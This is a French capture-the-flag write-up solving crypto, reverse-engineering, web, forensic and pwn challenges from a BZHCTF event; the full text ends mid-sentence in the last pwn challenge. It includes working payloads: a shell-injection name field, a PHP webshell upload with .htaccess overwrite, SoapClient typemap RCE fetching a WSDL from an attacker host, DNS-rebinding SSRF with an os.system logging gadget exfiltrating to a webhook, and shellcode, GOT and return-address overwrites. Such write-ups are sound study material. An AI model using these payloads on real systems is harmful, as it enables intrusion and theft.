
Cryptographie
Allo Papa Tango Charlie – 465pts
Catégorie : Crypto | Difficulté : Facile
Analyse. Le service (allo_papa_tango_charlie.py) chiffre le flag via un XOR cumulé : à la position i, après strength itérations, le masque appliqué est KEY[i] ⊕ KEY[i-1] ⊕ ... ⊕ KEY[i-(strength-1)] (indices mod n, avec n = len(FLAG) = len(KEY)). La clé KEY est aléatoire et change à chaque connexion.
Vulnérabilité. Si strength est un multiple pair de n, chaque octet de clé apparaît un nombre pair de fois dans le masque cumulé : le XOR s’annule, masque nul, sortie = flag en clair. Indépendant de la valeur de la clé.
Exploitation (2 connexions) :
- Option (2), intensité = 1 → la longueur du chiffré renvoyé donne
n = 70. - Option (2), intensité =
2*n = 140→ flag en clair.
Note hors-technique. Le contenu du flag est lui-même un piège : « en renseignant ce flag je certifie ne pas avoir utilisé de LLM ». Voir le retex pour le commentaire.
Flag : BZHCTF{en_renseignant_ce_flag_je_certifie_ne_pas_avoir_utilise_de_LLM}
Tremendous – Accès VIP : Sans limites [1/2] – 479pts
Catégorie : Crypto | Difficulté : Facile (tag : Shamir)
Analyse. Shamir Secret Sharing implémenté sans modulo (le lore du README : refus de « mettre des limites », « nombres entiers purs » qui « ne tournent pas en rond » = pas d’arithmétique modulaire). Le code construit le polynôme à coefficients entiers :
P(t) = a0 + a1·t + a2·t² + ... + a99·t⁹⁹
avec a0 = bytes_to_long(FLAG) et les a1..a99 aléatoires de 512 bits. leak.txt donne UN point évalué : x (premier de 1024 bits) et y = P(x).
Vulnérabilité. Sans modulo, tous les termes au-delà de a0 sont des multiples de x. Donc y mod x = a0 mod x. Comme le flag (~42 octets) est strictement inférieur à x (1024 bits), a0 = y mod x. Pas besoin d’interpolation de Lagrange ni de 100 parts.
flag = long_to_bytes(y % x)
Note technique. sys.set_int_max_str_digits(0) nécessaire car y fait ~30 657 chiffres décimaux.
Flag : BZHCTF{we_have_the_biggest_numbers_peri0d}
Tremendous – Bâbord, Tribord et Requins [2/2] – 500pts
Catégorie : Crypto | Difficulté : Moyen (tags : RSA, Yacht)
Schéma. RSA 1024 bits, e=65537. Deux routes :
/api/verify: déchiffrem = c^D mod Net renvoie sa parité (Bâbord si pair, Tribord si impair). C’est un oracle LSB./login: accorde l’accès (et le flag) sipow(bytes_to_long(password), E, N) == C_ADMIN.
Les données interceptées fournissent N, e, et le cookie vault_access_ticket (hex) = C_ADMIN.
Attaque LSB Parity Oracle. Propriété multiplicative de RSA : envoyer C' = C·2^E mod N fait déchiffrer en 2·m mod N. La parité du résultat indique si m est dans la moitié haute ou basse de [0,N). Recherche dichotomique sur 1024 bits (~1025 requêtes) qui reconstruit m. Implémenté avec fractions.Fraction pour éviter les arrondis.
On retrouve m = 129544038086926302667970502341269474149, on vérifie m^E mod N == C, on décode en ASCII → password auF2kxrHYK5VYYKe. POST /login avec ce password → page admin contenant le flag.
Flag : BZHCTF{they_stole_my_beautiful_cookie_very_sad}
Kybeurre doux – 498pts
Catégorie : Crypto | Difficulté : Facile (tags : Kyber, LWE)
Schéma. LWE/Regev (la version « doux » = la plus simple de Kyber). Point clé : la clé secrète s EST le flag – N=64 octets, chaque octet sert de coefficient du vecteur secret (valeurs dans [0,255]).
Faille. L’option (2) "Livrer la solution" est un oracle de déchiffrement déterministe. decrypt_one_bit(FLAG, A, b) calcule mask = A·FLAG mod Q, puis v = (b - mask) mod Q, et renvoie 1 si v ≥ Q/4. Contrairement à encrypt, l’oracle n’ajoute aucun bruit → oracle parfait (« removed the noise for better KPIs », d’où le flag).
Exploitation (≈512 requêtes). Pour récupérer l’octet s_j : envoyer A = e_j (vecteur unité) → mask = s_j. L’oracle renvoie 1 ssi (b - s_j) mod Q ∈ [Q/4, 3Q/4]. Le front montant 0→1 est à b = (s_j + Q/4) mod Q. Recherche binaire de b dans [Q/4, Q/4+256] (~8 requêtes/coordonnée). 64 × 8 ≈ 512 requêtes.
Flag : BZHCTF{gpt_erwann_removed_the_noise_for_better_kpis_and_synergy}
Kybeurre demi-sel – 500pts
Catégorie : Crypto | Difficulté : Moyen (tag : Kyber)
Protocole (iot_scanner.py) : LWE à secret binaire. s ∈ {0,1}^50, modulus q = 1017194805530087781866367482651 (~100 bits). Chaque broadcast = échantillon LWE b = ⟨a,s⟩ + e mod q avec bruit e ∈ [-10,10]. Chaque sovereign_pulse = AES-ECB(key, pad(FLAG)) avec key = sha256("".join(str(x) for x in s)). Le secret se rafraîchit tous les 5000 cycles.
Structure de sniffed.json : 1000 broadcasts + 89 pulses. Les pulses ont 11 valeurs distinctes formant 11 blocs contigus = 11 secrets différents. En regroupant les broadcasts par segment (même pulse avant/après), on obtient 20 à 95 échantillons par secret.
Faiblesse « demi-sel ». Le bruit ±10 est négligeable devant q (~10^30) ET le secret est binaire → LWE trivial à casser. Le flag étant constant, il suffit de récupérer un seul secret.
Exploit. Embedding primal Bai-Galbraith sur ~60 échantillons d’un segment (réseau de dimension n+m+1, vecteur court = (c1·s, e, c2)), réduit par LLL (fpylll). Le secret binaire exact tombe en ~20 s. Puis key = sha256(secret_str), AES-ECB.decrypt(pulse). Validé sur 3 segments indépendants : tous donnent le même flag avec padding PKCS#7 valide.
Flag : BZHCTF{adding_too_much_salt_in_the_modulus_cracks_the_algorithm}
Kybeurre salé – 500pts
Catégorie : Crypto | Difficulté : Difficile (tags : Kyber, LWE)
Schéma. LWE binaire « à la Regev », chiffrement bit-par-bit. N=96, Q=3329, clé privée s ∈ {0,1}^96. encrypt_bit : b = (A·s + bruit + bit·(Q//2)) mod Q. decrypt_bit(A,b) renvoie True ssi 832 < (b - A·s) mod 3329 < 2496. exportDB = AES-256-ECB du flag, clé = SHA256 de la concaténation des bits de s.
Faiblesse. L’oracle decipher accepte des (A, b) totalement arbitraires choisis par l’attaquant. C’est un oracle de déchiffrement actif qui linéarise le système.
Attaque (96 requêtes, 1 par bit). Pour chaque i, envoyer A = e_i (vecteur unité) et b = 833, donc A·s = s_i :
s_i = 0→833 ∈ (832, 2496)→Trues_i = 1→832, pas> 832→False
True ⇒ bit 0, False ⇒ bit 1. On reconstruit s, on dérive la clé AES, on déchiffre le flag exporté.
Flag : BZHCTF{the_human_middleware_just_solved_your_lwe_system_linearly}
Reverse Engineering
Seems Empty – 477pts
Catégorie : Reverse | Difficulté : Très Facile (tag : Python)
Analyse. Le fichier seems-empty.pyc a le magic number f3 0d 0d 0a → Python 3.11. dis plante : bytecode des fonctions volontairement corrompu (le « malware » évoqué). C’est un leurre – inutile de réparer le bytecode.
Solution. En chargeant le module avec marshal (header de 16 octets sauté) et en parcourant co_consts, on trouve une chaîne d’apparence banale "There's nothing ... to see here..." contenant en réalité 113 caractères Unicode invisibles (U+200C, U+200D, U+2061-U+2064) → signature StegCloak. La docstring de la fonction get_secret donne explicitement la solution : décoder avec StegCloak, mot de passe empty.
Flag : BZHCTF{n07_r3411y_3mp7y}
ETOOMANYFUNCTION – 492pts
Catégorie : Reverse | Difficulté : Facile (tag : C)
Binaire. ELF64 PIE stripped de 4 Mo dont la section .text (~1,3 Mo) contient des dizaines de milliers de minuscules fonctions – d’où le nom.
Architecture.
main@0x13e8d5: met à zéro le buffer flag @0x3ec080et la variable @0x3ec060, appelle 10 fonctions « dispatcher », puis teste[0x3ec060] == 0xdead. Si vrai →printf("Flag: %s\n", 0x3ec080).- Chaque dispatcher appelle des milliers de fonctions feuilles de 8 octets, chacune du type
add/sub/xor byte [0x3ec0XX], imm ; ret. Cumulées (dans un ordre mélangé), elles assemblent le flag dans le buffer. - Une fonction @
0x9616clit l’entrée viascanf("%15s")et la compare à"BREIZHCTF"(strcmp). Si égal →add dword [0x3ec060], 0xdead.
Verdict. L’input attendu est BREIZHCTF. Le flag est pré-calculé en mémoire par les ~100k fonctions et n’est imprimé que si la condition est remplie.
$ echo "BREIZHCTF" | ./etoomanyfunction
Flag: BZHCTF{100k_func_aint_too_many_4_u}
L’émulation Unicorn avait reconstruit le buffer partiel BZHCTF{100k_func... avant de s’arrêter sur l’appel scanf non résolu – ce qui a confirmé l’analyse statique.
Flag : BZHCTF{100k_func_aint_too_many_4_u}
Phase Zero – 497pts
Catégorie : Reverse | Difficulté : Facile
Binaire. ELF64 PIE non strippé, bs_phase_zero.
Le piège. main (0x14e7) contient une vérification leurre (bs_guard + bs_xor_decode) qui attend un token de 29 octets et produit du charabia (BZHBZH{15^9f15_6f=_r35?Qm41os). Fausse piste.
La vraie logique est cachée dans un constructeur custom enregistré dans .init_array, exécuté avant main – exactement ce que suggère l’énoncé (« déplacer des décisions critiques en dehors des chemins d’exécution classiques »).
objdump -s -j .init_arrayrévèle deux entrées :0x11e0(frame_dummystandard) et0x1367(le constructeur planqué).- Le constructeur affiche la même bannière/prompt que
main(pour paraître normal), lit l’input, puis appelle un check (0x12fe) qui exige 18 octets. - Le buffer attendu est généré par
0x1281:out[i] = data[0x2110+i] + key3[i%3](key3 = 02 01 00à0x2103), suivi d’unmemfrob(XOR 0x2a) sur les 18 octets. - Reconstruction →
BZHCTF{1n17_4rr4y}. - Le constructeur appelle
exit()après le check, doncmainn’est jamais réellement atteint.
Flag : BZHCTF{1n17_4rr4y}
Emulated Trust – 500pts
Catégorie : Reverse | Difficulté : Moyen
Binaire. bs_emulated_trust (ELF64 PIE non strippé).
Anti-analyse (à ignorer). bs_initialize_environment : lecture /proc/self/status (TracerPid), ptrace(PTRACE_TRACEME), getenv("LD_PRELOAD"). Aucun de ces mécanismes ne gêne une exécution normale ni l’émulation.
Le vrai « Emulated Trust ». Une VM en threaded code dans bs_decode_character : copie ~1856 octets de bytecode (depuis 0x50a0) dans un buffer local et les interprète via un dispatch jmp QWORD PTR [rsi], en lisant aussi la section .bs_flag (0x5800, 37 octets chiffrés).
Validation. bs_validate_input exige une entrée de 37 octets, calcule une constante 64 bits = FNV1a(code de bs_validate_input) XOR FNV1a(code de bs_decode_character) XOR 0x4f2a7c91d6b8e305, puis pour chaque index i construit une table de 16 octets et vérifie input[i] == bs_decode_character(table_i).
Résolution avec Unicorn. Émulation de bs_validate_input en mappant les segments LOAD aux bonnes vaddr, en hookant le call strlen@plt (PLT non résolu en émulation) et en hookant la comparaison cmp r13b, al à 0x29aa. À chaque itération, al est l’octet attendu du flag : on le capture puis on force le test à passer pour parcourir les 37 octets d’un coup.
$ printf 'BZHCTF{50m371m35_3mu14710n_15_34513r}\n' | ./bs_emulated_trust
status: ok
Flag : BZHCTF{50m371m35_3mu14710n_15_34513r} (« sometimes emulation is easier »)
Lost in a Maze – 500pts
Catégorie : Reverse | Difficulté : Difficile
Analyse. Binaire lost_in_a_maze + template.py + capture réseau game.pcap. Le client chiffre les paquets en AES-256-GCM avec key = SHA256(plaintext_packet_précédent) et nonce = key[:12]. Le premier paquet est en clair.
Solution. Déchiffrement séquentiel du pcap : pour chaque paquet i, on dérive la clé à partir du clair du paquet i-1, on déchiffre avec AES-GCM, on continue. Le dernier paquet serveur contient le flag.
Flag : BZHCTF{n07_4_g10b41_r3v01u710n}
Breizh Ledger App – 500pts 🩸 FIRST BLOOD
Catégorie : Reverse | Difficulté : Moyen (tag : Ledger)
Cible. app.elf est une application Ledger BOLOS (ARM Thumb, Cortex-M, non strippée, entry 0xc0de0001). Les symboles sont conservés : apdu_dispatcher, handler_state_machine, sm_reset, ui_display_flag, et les syscalls SDK (cx_hmac_sha256, cx_aes_*).
Analyse statique (radare2 + capstone, ARM thumb) :
apdu_dispatcherexigeCLA = 0xE0. Les INS0x10..0x14,0x20,0xFFmènent àhandler_state_machine.handler_state_machineest une machine à états (« secret handshake ») en 6 étapes, avec un contexte persistant en NVRAM (G_context).
Émulation avec Unicorn (stubs Python pour HMAC/AES/snprintf/memcpy/sm_reset) pour récupérer les valeurs magiques de chaque étape : table de comparaison BREIZH!!, S-box SM_MINI_SBOX, brute-force de l’étape 3.
Séquence APDU recouvrée (toutes renvoient 9000) :
e010425a00– INS 0x10, P1=0x42, P2=0x5a –(P1^0x42)+(P2^0x5a)==0e011010008437233703373425a– INS 0x11, Lc=8, data="Cr3p3sBZ"e012011500– INS 0x12, P1=1, P2=0x15e0130000046103fb42– INS 0x13, Lc=4, data=6103fb42(passe la S-box →[b4,e1,7c,2d])e014133700– INS 0x14, P1=0x13, P2=0x37 (1337)e020000000– INS 0x20 →ui_display_flagaffiche le flag
Point clé : le flag n’est pas en clair dans le binaire. Il est pré-provisionné dans la NVRAM de l’instance (flag_buffer à G_context+0x2a, ctx[9]=1). Le chemin INS 0xFF (HMAC-SHA256 + AES-CBC, clé Kreizh_HMAC_K3Y!BZHCTF2025Ledger, IV deadbeef...) n’est qu’un oracle de déchiffrement annexe – pas la voie du flag.
Exécution. L’instance déployée est une Speculos Web Interface (POST /apdu JSON {"data":"hex"}). Après envoi de la séquence, le flag s’affiche à l’écran émulé, lu via GET /events. Le texte écran le coupe en deux : BZHCTF{l3dg3r_4pdu_ + m4st3r_bzh!}.
Flag : BZHCTF{l3dg3r_4pdu_m4st3r_bzh!}
Web
Born to be Expert – 500pts
Catégorie : Web | Difficulté : Très Facile
Architecture. SPA Express. L’API /api/quiz/<lang> renvoie les questions avec le champ correct en clair (la « faille évidente » côté client = piège volontaire). Soumettre les bonnes réponses à /api/diploma ne donne qu’un diplôme PNG sans flag (vérifié par OCR, chunks PNG, stégano LSB, watermark). Le langage java est un piège (exam impossible à valider).
Vraie faille : injection de commande (RCE). Le champ name du diplôme est rendu en ASCII-art via figlet, inséré entre simples quotes : ... 'Felicitations <name> !'. Le name est HTML-échappé (pas de XSS/SSTI) mais pas échappé pour le shell.
- Détection aveugle par timing :
name = a';sleep 5;'b→ réponse en 5,1s (vs 0,17s baseline). - Breakout :
';<commande>;'exécute des commandes arbitraires. La sortie d’un$(...)est même rendue dans le figlet du diplôme.
Exfiltration. Le statique est servi depuis /app/public/ à la racine. Payload name :
X';grep -rhoI "BZHCTF{[^}]*}" / 2>/dev/null > /app/public/leak.txt;echo X'Y
(answers python correctes {"0":0,"1":2}), puis GET /leak.txt → flag.
Flag : BZHCTF{Syst3m_c0mm4nd5_4nd_us3r_1nput5_d0n't_g0_w3ll_t0g3th3r!}
Online Robbery – 500pts
Catégorie : Web (Java) | Difficulté : Moyen
Application. Spring Boot 3.4 (Java 21) avec JWT + Spring Security + H2 in-memory. Objectif : atteindre un solde ≥ 1 000 000€ pour débloquer le tier « Flag » sur /dashboard.
Vuln intentionnelle (race condition). BankService.performTransfer est @Transactional mais sans verrou de ligne ni @Version. Spring Data JDBC réécrit la ligne entière via save() avec la valeur calculée en mémoire. Deux virements concurrents du même expéditeur provoquent un lost update = création de monnaie.
Voie plus directe (utilisée). application.properties active la console H2 (spring.h2.console.enabled=true, path /h2-console) et expose tout actuator (management.endpoints.web.exposure.include=*). SecurityConfig se contente de anyRequest().authenticated() – donc tout utilisateur connecté accède à la console H2.
POST /register+POST /login→ cookie JWTauth_token.GET /h2-console/login.jsp(avec le cookie) → récupérer lejsessionid.POST /h2-console/login.doavecurl=jdbc:h2:mem:thunelydb,user=sa, password vide.POST /h2-console/query.do→UPDATE USERS SET balance=2000000 WHERE id=<mon_id>.GET /dashboard→ flag dans le tier « Flag ».
Flag : BZHCTF{Wh0_n33d5_m0n3y_wh3n_y0u_h4v3_R4c3_C0nd1t10n?}
Storemind – 500pts (sponsor Formind)
Catégorie : Web (PHP) | Difficulté : Moyen
Application. Site PHP (Apache + mod_php) avec upload.php, download.php, list.php, delete.php, edit_image.php, game.php, games.php. Cible live storemind.formind.fr + sources fournies. Flag en /var/www/flag.txt (chmod 400, owner appuser, lisible par le process web).
Leurres dans le code :
upload.phpdéfinitsafe_sanitize_functionqui faitshell_exec("cat " . $_GET['file'])– mais cette fonction n’est jamais appelée.game.phpdéfinitgetFile($filename)=file_get_contents(__DIR__."/".$filename)– jamais appelée non plus.games.phpcontient une SQLi ($users = $_POST['player']concaténé) mais$pdo = nullcasse l’exécution.
Vraie faille. Dans edit_image.php : si l’extension du name POSTé n’est pas dans la whitelist image (jpg/png/gif/webp/jpeg), le code part dans une branche qui fait file_put_contents($realDest, $imageData) sur le contenu base64-décodé. La regex sur dataUrl exige data:image/...;base64, en préfixe mais le contenu décodé est libre. Donc : écriture arbitraire de fichier dans uploads/, avec nom et contenu contrôlés.
Exploitation.
- POST
edit_image.php:name=bzh.php,dataUrl=data:image/png;base64,<b64 de "<?php readfile('/var/www/flag.txt');">→ fichier déposé. GET /uploads/bzh.php→ 403. Le.htaccessdeuploads/(créé parupload.phpau premier upload) bloque les.php.- Même primitive utilisée pour écraser le
.htaccess(name=.htaccess, contenu clearé). PuisGET /uploads/bzh.php→ exécution PHP → flag. - Nettoyage :
.htaccessrestauré à son contenu original (récupéré du source) +.phpneutralisé.
Flag : BZHCTF{C0nGR4Tu14710N5_fR0M_P0ulpY}
Soaperlipopette – 500pts 🩸 FIRST BLOOD
Catégorie : Web (PHP/SOAP) | Difficulté : Facile
Source apparente. new SoapClient($_GET[0] ?? null, $_GET[1] ?? null)->bzh() derrière ?bzh=1.
Le point clé que les runs précédents avaient sous-estimé : on contrôle entièrement le tableau d’options (2e argument) via la syntaxe array de query string 1[clef]=..., pas juste l’URL du WSDL.
Chaîne d’exploitation.
- WSDL/SSRF sortant.
0=http://<ATTAQUANT>:8123/serve.wsdl– egress sortant OK. On sert le WSDL et on répond au POST SOAP sortant. - RCE via
typemap[from_xml]. Le typemap fait pointer un type XML (xsd:string) vers une fonction PHP arbitraire mono-argument. Le callback reçoit le nœud de réponse SOAP. Découverte décisive : si la valeur de réponse est du texte nu directement sous l’élément réponse (<ns1:bzhResponse>TEXTE</ns1:bzhResponse>, sans sous-balise<result>), le callback reçoitTEXTEpropre – sans balises nixsi:type. On contrôle 100% de l’argument. from_xml=readfile→ lecture de fichier.from_xml=system→ exécution de commande (uid=666 challenge).- Privesc.
/flag.txtest-r-------- root. Il y a un binaire SUID root/getflag. Avecfrom_xml=systemet la réponse SOAP contenantecho A; /getflag; echo B, le flag s’affiche dans la sortie HTTP entre les marqueurs.
Flag : BZHCTF{SoapClientObjectInjection}
Escape from ‘Prison de la santé’ – 500pts
Catégorie : Web (Node.js + Python) | Difficulté : Moyen
Architecture. 4 conteneurs partageant le namespace réseau du frontend. Le flag est dans le conteneur director (Flask, 127.0.0.1:5000, non exposé par nginx, protégé par header X-Internal-Key) : /flag.txt (mode 600 root) + binaire setuid /getflag. gunicorn y tourne en root.
Chaîne d’exploitation (5 étapes).
- Login inmate
m.scofield/FoxRiver1!. - Dupe de monnaie.
purchaseItems(store.js) ne valide pasquantity > 0. Quantité négative →totalnégatif →wallet -= totalcrédite.purchaseItems(items:[{itemId:4, quantity:-1000}])→ +5000. - Code d’activation. Achat du listing #6 (« Tuyau »,
reveals_activation_code=TRUE) viabuyFromBlackMarket→ message révèleFLUX-.... - Élévation inmate → guard. La query GraphQL
announcementsn’a aucun contrôle de rôle et son resolverauthorfaitSELECT * FROM usersexposant la colonnetoken(présente dans le typeUser). On déclencheforgot-passwordpour le guardb.bellick→ un token reset est généré (jamais envoyé, « TODO »). On le fuit via{ announcements { author { token } } }, puisreset-password→ login guard. - SSRF (DNS rebinding) → RCE Python.
fetchExternalFeed(feed.js) fait unfetch(url, {headers:{'X-Internal-Key':...}}). Le filtre SSRF (dns.resolve4+ check ranges privées) est contourné par DNS rebinding viamake-1-1-1-1-rebind-127-0-0-1-rr.1u.ms(resolve4voit1.1.1.1→ passe ;fetchre-résout127.0.0.1→ atteint le director). ~50%/essai, donc on boucle.- L’endpoint director
/parametres/api/config/reload?url=(settings.py) faiturllib.urlopen(url)(2e SSRF non filtré, supportedata:) puislogging.config.dictConfig(json)→ RCE via le gadget{"version":1,"formatters":{"f":{"()":"os.system","command":"<CMD>"}}}. - Payload encodé en
data:application/json;base64,.... La commande s’exécute en root et exfiltre/flag.txtvers un webhook.
Flag : BZHCTF{LetMeOutOfHere}
Forensic
Ghost Operator – 500pts
Catégorie : Forensic | Difficulté : Moyen (tag : Drone)
Capture. 140 Ko de trafic MAVLink v2 (magic 0xFD) en UDP sur le port 14550.
Topologie. Station sol 192.168.4.10, 5 drones 192.168.4.1 (ALPHA) à 192.168.4.5 (ECHO), attaquant 192.168.4.42:54321 (port source inhabituel = l’« acteur non identifié »).
Scénario d’attaque visible dans les STATUSTEXT et le trafic .42 → .1/ALPHA :
- HEARTBEAT spoofé +
PARAM_REQUEST_LIST(reconnaissance) PARAM_SET FENCE_ENABLE=0etFS_THR_ENABLE=0(désactive geofence + failsafe)PARAM_SET SYSID_MYGCS=44(usurpation de l’identité de la GCS)SET_MODE GUIDED+MISSION_ITEM_INTredirigeant ALPHA vers lat48.0375/ lon-4.8503(Île de Sein)
Exfiltration (la réponse attendue). Un DATA_TRANSMISSION_HANDSHAKE (size=263, packets=4, payload=80) suivi de 4 ENCAPSULATED_DATA (seqnr 0-3). Le bloc commence par 1f 8b 08 = GZIP, le reste padding 0xFE.
Reconstruction : concaténer les 80 premiers octets de chaque ENCAPSULATED_DATA dans l’ordre des seqnr, garder 263 octets, gzip.decompress → journal de mission de l’attaquant contenant le flag.
Note technique. Le dissecteur MAVLink de tshark ne décodait pas – j’ai utilisé pymavlink pour parser proprement.
Flag : BZHCTF{ALPHA_GH0ST_0P3R4T0R}
Keys, Keys, Keys. – 500pts
Catégorie : Forensic | Difficulté : Facile (tags : Forensic, Crypto)
Console. La description (manettes à détection de mouvement, blanche, milieu 2000s) = Nintendo Wii. Le titre « Keys, Keys, Keys » + tag Crypto → la clé AES de la carte SD Wii.
file image.dd→ FAT32 brut (15 Mo,mkfs.fat).fls -f fat32 -r -p image.dd→private/uii/title/BZPP/data.bin(inode 86).uii/BZPPsont une obfuscation dewii/Game ID.icat -f fat32 image.dd 86 > data.bin→ fichier de save Wii chiffré (193792 octets).- Les
data.binWii sont chiffrés en AES-128-CBC avec la clé SD publique de la Wii :- Clé
ab01b9d8e1622b08afbad84dbfc2a55d - IV
216712e6aa1f689f95c5a22324dc6a98
openssl enc -d -aes-128-cbc -nopad -K <key> -iv <iv> -in data.bin -out data.dec
- Clé
- L’en-tête déchiffré révèle Game ID RSPP (Wii Sports PAL), magic banner
WIBN. - Le titre de la bannière (offset 0x40) mélange UTF-16BE et ASCII :
"Last" + "PArt:" + "_W11_1z_fun}"→ c’est la dernière partie du flag. - Pour la première partie : décoder l’IMAGE de la bannière (TPL RGB5A3, 192×64, format tuilé 4×4). Décodeur Python maison → la bannière rendue affiche visuellement
BREIZHSports(Wii Sports customisé).
Flag : BZHCTF{BREIZHSports_W11_1z_fun}
Totally Secure – 500pts
Catégorie : Forensic | Difficulté : Facile (tags : Forensic, Crypto, Réseau)
Ironie du titre. Le serveur « totally secure » a son chiffrement TLS cassable parce que mal configuré.
- Analyse réseau (
traffic.pcapng). Trafic majoritairement du bruit (HTTPS Google/GitHub/Cloudflare). Cible interne 10.90.35.19:443, SNIpleasedontdothat.local. Une seule connexion TLS 1.2 (frames 2987-3002). - Faiblesse crypto. Suite négociée :
TLS_RSA_WITH_AES_128_CBC_SHA (0x002f)→ échange de clé RSA, sans forward secrecy. Quiconque possède la clé privée RSA déchiffre toute la session a posteriori. Certificat self-signed RSA 2048, modulus visible en clair. - Récupération de la clé. Le tarball DFIR
triage_server.tar.gz(~99 Mo) contient la conf nginx +etc/nginx/ssl/server.key. Son modulus correspond au certificat du pcap. - Déchiffrement. tshark 4.6 a l’UAT
rsa_keys(letls.keys_listclassique est obsolète). La session déchiffrée révèle unGET /et une réponse HTTP 200 avec le flag dans<div class="seccccret-value">.
tshark -r traffic.pcapng -o 'uat:rsa_keys:"/tmp/server.key",""' \ -Y "frame.number==2997" -T fields -e http.file_data
Flag : BZHCTF{Pl34se_D0nT_D0_Th4t_1n_Pr0d!!!!}
Phantom Process – 500pts
Catégorie : Forensic mémoire | Difficulté : Moyen
Cible. Dump LiME d’un Linux compromis + symboles ISF Volatility3.
Scénario reconstruit.
- Vecteur d’infection.
/etc/pip.confredirige pip vers un index PyPI malveillant (https://pypi-cdn.survey-tools.eu/simple/). L’historique bash (linux.bash) montre l’adminjeremiedqui lancesudo pip install rasterio-tools --break-system-packages– un typosquat derasterio. - L’implant.
- Stage 1 Python (récupéré du pagecache via
linux.pagecache) :__init__.py→_native_check.pyfork puis téléchargenative_ext.sodepuis le C2 et l’exécute viaos.memfd_create+os.execveavec unargvtruqué pour ressembler à un thread noyau. - Stage 2 = ELF C/libcurl qui se masque en
kworker/u8:2/[kworker/u8:2-flush-btrfs]avec PPID=1 (PIDs 8445 et 8447). Apparait enpsscanetlsofmais imite un kthread. Tient deux sockets TCP ESTABLISHED192.168.10.10 → 192.168.10.42:443.linux.proc.Mapsrévèle son mapping/memfd:native_ext (deleted).
- Stage 1 Python (récupéré du pagecache via
- Exfiltration / flag. Beacon HTTPS (
POST /api/v1/telemetry/reportverstelemetry.bas-infra.fr) déguisé en JSONubuntu-report. Le champhw_metricscontient 3 blobs hex séparés par|, chiffrés en XOR répétitif. Clé = machine-id ASCIIafe9d0a2af3f405bb130144226865022(trouvé dans le heap du process 8445). Décodage XOR :- blob0 = clé privée SSH ed25519 (
/opt/mavproxy/signing_key.bin) - blob1 = le flag
- blob2 = credentials
.pgpass(bas_operator:BAS_fl1ght_2026!)
- blob0 = clé privée SSH ed25519 (
Étapes vol3 clés. linux.bash, linux.psaux, linux.sockstat, linux.lsof, linux.pagecache.Files + linux.pagecache.InodePages --find ... --dump (source implant + pip.conf), linux.proc.Maps --pid 8445 --dump (heap + memfd), reconstruction de l’ELF memfd puis strings, grep du payload hw_metrics, XOR avec machine-id.
Flag : BZHCTF{ph4nt0m_pr0c3ss_m3mfd_cr34t3}
Pwn
Mei Mei Quest – 500pts
Catégorie : Pwn | Difficulté : Facile
Binaire. PIE, NX, pas de canary, Partial RELRO. Source chall.c fournie.
Chaîne d’exploitation (3 étapes).
- step1 – Format string.
printf(answer)sans format (chall.c:48). L’adresse debaobao_phone_number(.bss) est leakée via%p. On place cette adresse dans le buffer (qui démarre à l’argument 6 du format) et on la déréférence avec%8$spour lire le numéro de téléphone de 14 octets, qu’on renvoie ensuite pour passer lestrncmp. - step2 – Buffer overflow.
fgets(buf, 48, stdin)dansbuf[32](chall.c:69-71).bufàrbp-0x20→ 40 octets de padding puis l’adresse de retour. L’adresse destep3est leakée dans le prompt (« only 40 bytes away »), on écraseretparstep3. - step3 – Shellcode.
read(0, alloc, 32)dans une page mmap RWX puisalloc()(chall.c:93-104). On injecte un shellcodeexecve("/bin/sh")compact (23 octets, paddé à 32 avec des NOP) → shell distant (uid=666 ctf) →cat flag.txt.
Piège résolu. Le prompt command> n’est pas flush avec un newline ; faire recvuntil(b'command> ') provoquait une désynchronisation et l’EOF avant l’arrivée du shellcode. Solution : drainer après "interpreted as shellcode !" puis envoyer le shellcode paddé à 32 octets.
Flag : BZHCTF{Th4nk_Y0u_f0r_s4v1ng_M31M31_<3}
Good Soldier – 500pts
Catégorie : Pwn | Difficulté : Facile
Binaire. x86-64, No PIE, Partial RELRO, NX, canary, libc 2.42 fournie. Pas de source mais debug_info présent (décompilé via Ghidra/r2). Pas de fonction win ni de system importé.
Chaîne.
- Leak libc. L’attaque ennemie aléatoire
whatthehell_attackappelledlsym(RTLD_NEXT, "puts")et affiche le résultat en%p. On rejoue les combats (probabilité 1/5 par tour) jusqu’à obtenir l’adresse deputs→ base libc. - Buffer overflow. En fin de partie,
fgets(ctx.review, 0x200, stdin)écrit danschar review[256]qui est le 1er champ degame_ctx { char review[256]; mem_arena arena; player_t*; enemy_t*; }. On déborde sur la structarena(offset 0x100) sans toucher au canary (offset 0x128) en envoyant exactement 0x118 octets. - Hijack de l’arena allocator. Ensuite
signature = arena_alloc(&arena, 0x20)renvoiearena.base + cursor, puisfgets(signature, 0x20)y écrit. On force :base= adresse de/bin/sh(libc)cursor=free@GOT - base→ l’alloc renvoie exactementfree@GOT(0x404000)capacity=cursor + 0x100(passe l’assert)
fgetsécrit doncsystemdansfree@GOT. - Déclenchement.
arena_destroyappellefree(arena.base)=system("/bin/sh")→ shell.
Piège. fgets stocke le \n final. Envoyer 7 octets + newline corrompait l’octet de poids fort de system. Solution : 31 octets sans newline (p64(system).ljust(0x1f, b'\x00')).
Flag : BZHCTF{W3ll_D0n3_mY_br4v3_s0ld1er_!!!_y0u_b34t_th3_4r3n4s_:O}
Speeeeeed – 500pts
Catégorie : Pwn | Difficulté : Moyen (tag : HTTP)
Vuln. Race condition TOCTOU → stack buffer overflow. Le serveur HTTP custom (multithread, 1 thread/connexion) stocke la requête parsée dans une variable globale partagée http_request_t current_request (http_handler.c:18). Dans get_relative_path() :
- lit
request->path_len(global) et vérifiepath_len < 128(taille depath_copy[128]), - fait
usleep(5000)(5ms) – la « vitesse » du chall, - puis
strcpy(path_copy, request->path+1)en relisant le global.
Pendant le usleep d’un thread ayant envoyé un path court (qui passe le check), un autre thread écrase le global avec un path long (>128) → au réveil le strcpy déborde. Pas de canary.
Exploitation (binaire PIE, NX, sans canary).
- Offset
path_copy→ RIP sauvegardée = 152 octets. - Cible : fonction cachée
win()(base+0x2a0f) =dup2(client_fd, 0/1/2)+system("/bin/sh"). Le shell ressort sur la socket du thread (last_client_fdest__thread). - RIP sauvegardée pointe dans
serve_fileàbase+0x2baf.winetretpartagent les bits ≥12 → partial overwrite 2 octets déterministe vis-à-vis de PIE. - On écrit
\x10\x2a= win+1 (0x2a10) : sauter lepush rbpcorrige l’alignement 16 octets exigé parsystem()(sinon GP faultmovaps). - Le NUL ajouté par
strcpyécrase l’octet 2 de la base à0x00→ succès uniquement quand l’octet 2 de la base ASLR vaut déjà0x00→ brute force ~1/256, le serveur respawnant en boucle (run.sh while true).
